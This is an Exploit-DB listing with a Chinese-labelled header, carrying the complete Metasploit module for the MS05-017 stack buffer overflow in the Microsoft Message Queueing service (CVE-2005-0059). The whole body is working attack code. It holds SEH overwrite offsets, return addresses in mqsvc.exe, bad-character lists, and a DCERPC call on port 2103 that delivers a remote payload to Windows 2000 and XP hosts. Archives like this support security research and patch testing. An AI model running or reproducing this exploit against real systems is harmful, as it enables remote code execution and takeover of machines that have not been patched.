标题: Microsoft Message Queueing Service - Path Overflow (MS05-017) (Metasploit) EDB-ID: 16747 CVE: 2005-0059 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ms05_017_msmq.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Message Queueing Service Path Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the RPC interface
    to the Microsoft Message Queueing service. The offset to the
    return address changes based on the length of the system
    hostname, so this must be provided via the 'HNAME' option.
    Much thanks to snort.org and Jean-Baptiste Marchand's
    excellent MSRPC website.

   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0059'],
     [ 'OSVDB', '15458'],
     [ 'MSB', 'MS05-017'],
     [ 'BID', '13112'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
     'StackAdjustment' => -3500,

    },
   'Targets'        =>
    [
     [
      'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
      {
       'Platform' => 'win',
       'Rets'     => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
      },
     ],
    ],
   'DisclosureDate' => 'Apr 12 2005',
   'DefaultTarget' => 0))

  # Change the default port values to point at MSMQ
  register_options(
   [
    Opt::RPORT(2103),
    OptString.new('HNAME',  [ true,  "The NetBIOS hostname of the target" ]),
   ], self.class)
 end

 def autofilter
  # Common vulnerability scanning tools report port 445/139
  # due to how they test for the vulnerability. Remap this
  # back to 2103 for automated exploitation

  rport = datastore['RPORT'].to_i
  if ( rport == 445 or rport == 139 )
   datastore['RPORT'] = 2103
  end

  # The NetBIOS hostname is required to exploit this bug reliably.
  if (not datastore['HNAME'])
   # XXX automatically determine the hostname
   return false
  end

  true
 end

 def exploit

  # MSMQ supports three forms of queue names, the two we can use are
  # the IP address and the hostname. If we use the IP address via the
  # TCP: format, the offset to the SEH frame will change depending on
  # the length of the real hostname. For this reason, we force the user
  # to supply us with the actual hostname.

  # Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName

  queue_name = "OS:#{datastore['HNAME']}";
  queue_hlen = datastore['HNAME'].length * 2
  queue_path = unicode(queue_name + "\\PRIVATE$\\")

  buf   = rand_text_english(4000, payload_badchars)

  # Windows 2000 SEH offset goes first
  buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
  buf[372 - queue_hlen - 4, 2] = "\xeb\x22"

  # Windows XP SEH offset goes second
  seh = generate_seh_payload(target['Rets'][1])
  buf[400 - queue_hlen - 4, seh.length] = seh

  # Append the path to the location and null terminate it
  queue_path << buf << "\x00\x00"

  # Get the unicode length of this string
  queue_plen = queue_path.length / 2

  connect
  print_status("Trying target #{target.name}...")

  handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  stubdata =
   NDR.long(1) +
   NDR.long(1) +
   NDR.long(1) +
   NDR.long(3) +
   NDR.long(3) +
   NDR.long(2) +
   NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)

  print_status('Sending exploit ...')

  response = dcerpc.call(9, stubdata)

  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
   case dcerpc.last_response.stub_data
    when "\x20\x00\x0e\xc0"
     print_status("The server rejected our request, the HNAME parameter could be incorrect")
    when "\x1e\x00\x0e\xc0"
     print_status("The server does not appear to be exploitable")
    else
     print_status("An unknown response was received from the server:")
     print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
   end
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16747